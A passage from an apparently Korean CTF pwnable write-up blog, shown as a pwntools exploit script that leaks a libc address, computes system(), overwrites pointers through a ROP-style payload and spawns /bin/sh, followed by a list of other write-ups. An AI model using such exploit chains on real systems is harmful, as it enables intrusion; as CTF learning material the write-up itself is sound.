conn.recvuntil("Bye!\n\n")
conn.recv(4)
stdin_addr = u32(conn.recv(4)) - 71
base_addr = stdin_addr - 0x1b25a0
log.info("stdin_addr : " + hex(stdin_addr))
log.info("base_addr  : " + hex(base_addr))
 
system_addr = base_addr + 0x3ada0
 
conn.sendlineafter("name:""A")
conn.sendlineafter("Org:""B")
conn.sendlineafter("Host:""C")
 
payload  = "A"*4
payload += p32(0x8048506)
payload += p32(0x8048516)
payload += p32(puts_plt+6)
payload += "A"*4
 
payload += p32(main_addr)
payload += "A"*4
 
payload += p32(puts_plt)
payload += p32(0x8048576)
payload += p32(system_addr)
 
edit(1, payload)
conn.sendlineafter("option--->>""/bin/sh")
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[hack.lu CTF 2014] OREO  (0) 2019.07.27
[0CTF 2016] zerostorage  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11
[DEFCON 2019 Quals] speedrun  (0) 2019.05.14

+ Recent posts